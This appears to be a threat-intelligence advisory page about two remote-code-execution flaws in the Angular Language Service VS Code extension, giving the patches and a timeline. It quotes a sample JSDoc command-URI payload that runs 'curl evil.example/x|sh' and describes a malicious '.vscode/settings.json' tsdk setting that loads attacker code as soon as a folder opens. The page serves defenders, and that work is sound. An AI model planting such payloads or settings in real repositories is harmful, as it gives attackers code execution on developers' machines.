Angular Language Service VS Code Extension (Angular.ng-template) Multiple RCE Vulnerabilities — GHSA-ccq4-xmxr-8hcq — Threadlinqs Intelligence
As of 2026-05-30, Angular Language Service VS Code Extension (Angular.ng-template) Multiple RCE Vulnerabilities — GHSA-ccq4-xmxr-8hcq is a high-severity vulnerability threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 16 indicators of compromise.
Threat ID: TL-2026-0595 · Severity: HIGH · CVSS: 8.7 · Status: PATCHED · Category: VULNERABILITY
Two RCE-class vulnerabilities in the Angular Language Service VS Code extension (Angular.ng-template) prior to v21.2.4 allow arbitrary code execution on developer workstations. The first path abuses
## Overview
GHSA-ccq4-xmxr-8hcq covers a cluster of remote code execution defects in the Angular Language Service Visual Studio Code extension (`Angular.ng-template`, publisher Angular/Google) for all versions prior to **21.2.4**. The extension is installed approximately **9.5 million times** on the VS Code Marketplace, giving the bug class an exceptionally broad blast radius across enterprise development environments, CI runners with VS Code Server, and individual developer workstations.
Two distinct exploitation paths are confirmed in the advisory and the merged patch set (PRs #68857, #68858, #68886 against `github.com/angular/angular`, merged 2026-05-22 to `main` and `22.0.x`).
## Path 1 — JSDoc Hover Markdown Command Injection (UI:P, hover + click)
The Angular client extension (`client/src/client.ts`) instantiates VS Code Markdown tooltip renderers with `isTrusted: true`. Per the official VS Code extension guides, that flag allows rendered Markdown to invoke `command:` URIs. The language server (`server/src/handlers/hover.ts`, `server/src/text_render.ts`) builds hover content from JSDoc comments attached to TypeScript/JavaScript symbols (including inline Angular templates) **without escaping square brackets or sanitizing raw Markdown links**. An attacker who controls a file in a repository — whether top-level, transitive in `node_modules`, or pulled in by a custom resolver — can plant a JSDoc comment containing a Markdown link such as `[Docs](command:workbench.action.terminal.sendSequence?{"text":"curl evil.example/x|sh
"})`. When the developer hovers the symbol and clicks the link in the tooltip, VS Code executes the embedded command URI, which can chain to shell command execution via terminal-sequence injection, `vscode.openFolder`, task execution, etc. Patch #68858 (commit `6d8b156b45` / `eeb7da76db55f50d48c3b92c736ee257a5193c3e`) restricts JSDoc Markdown trust, hardens document opening through official workspace APIs, and routes hover links through a dedicated `openJSDocLink` command handler that enforces allowlisting.
## Path 2 — `typescript.tsdk` Insecure Library Load (UI:N on project open, Workspace Trust bypass)
The client extension reads `typescript.tsdk` and the newer `js/ts.tsdk.path` directly from workspace settings during activation, **without checking Workspace Trust** and without prompting. The resolved string is forwarded as the `--tsdk <path>` CLI argument to the spawned Node.js language server. The server then resolves `<tsdk>/tsserverlibrary.js` and loads it via Node's native `require()`, executing the file in the LS process with the developer's user privileges.
A hostile repository ships a `.vscode/settings.json` containing for example `"typescript.tsdk": "./.evil"` together with `./.evil/tsserverlibrary.js` containing arbitrary Node code. The moment the developer runs `git clone` and `code <repo>` — or VS Code reopens the folder from history — the Angular Language Service auto-spawns, `require()`s the attacker file, and code execution occurs **with zero user interaction**. Workspace Trust is bypassed because the load happens before the extension enters Restricted Mode boundaries. Patch #68857 (commit `82cf38ad95` / `7aef352d4b3e09e184e3d456e86bc00c515bfaa4`) prompts for confirmation before loading a workspace tsdk and ignores tsdk entirely in untrusted workspaces; patch #68886 (commit `4a41831326`) disables the language server outright in untrusted workspaces as defense in depth.
## Supply-Chain Context
The vulnerability arrives in the same threat-model neighborhood as the 2025 Nx Console VS Code extension supply-chain compromise (which impacted roughly 3,800 GitHub repositories), the Lazarus/Contagious-Interview campaigns that lure developers into cloning malicious repos under coding-interview pretexts, and the recurring class of `vscode-*` and IDE-extension bugs that let an opened folder execute code. Any actor running a malicious-repo lure (fake job interview takehome, fake PR review reques
Weaknesses (CWE)
CWE-79, CWE-94, CWE-427, CWE-494, CWE-829, CWE-1188
Target sectors: technology, software-development, financial, government, healthcare, education, defense, telecommunications
Target regions: Global
Timeline
- Standalone repository angular/vscode-ng-language-service archived; Angular Language Service development consolidated into the angular/angular monorepo.
- PRs #68857 (commit 7aef352d4b3e09e184e3d456e86bc00c515bfaa4 — tsdk consent prompt) and #68858 (commit eeb7da76db55f50d48c3b92c736ee257a5193c3e — JSDoc Markdown trust restriction) and #68886 (disable LS in untrusted workspaces) merged to angular/angular main and 22.0.x branches.
- Angular.ng-template extension 21.2.4 published to the VS Code Marketplace bundling all three patches.
- GitHub Security Advisory GHSA-ccq4-xmxr-8hcq published at 08:07 UTC by alan-agius4 of the Angular team; severity High (CVSS v4.0 8.7); no CVE assigned.
- Coverage in Cyber Security News, Cyber Press, and GBHackers describing both attack paths and emphasizing the zero-click tsdk vector against the 9.5M-install developer extension.
- Threadlinqs Intelligence published TL-2026-0595 with full MITRE mapping, detections, and simulations to support patching and hunting across enterprise developer estates.
- As of 2026-05-29, GHSA-ccq4-xmxr-8hcq is fixed: Angular.ng-template 21.2.4 is the current Marketplace release bundling all three patches (PRs #68857/#68858/#68886), with no evidence of in-the-wild exploitation and no CISA KEV listing. Risk persists only on unpatched <21.2.4 estates via the clone-and-open TTP, so org-wide upgrade remains the action.
Detections & IOCs
As of 2026-09-04, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 16 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
VULNERABILITY, HIGH, threat intelligence, cybersecurity, T1608, T1587, T1583, T1195, T1566, T1189, T1059, T1204, T1106, T1546
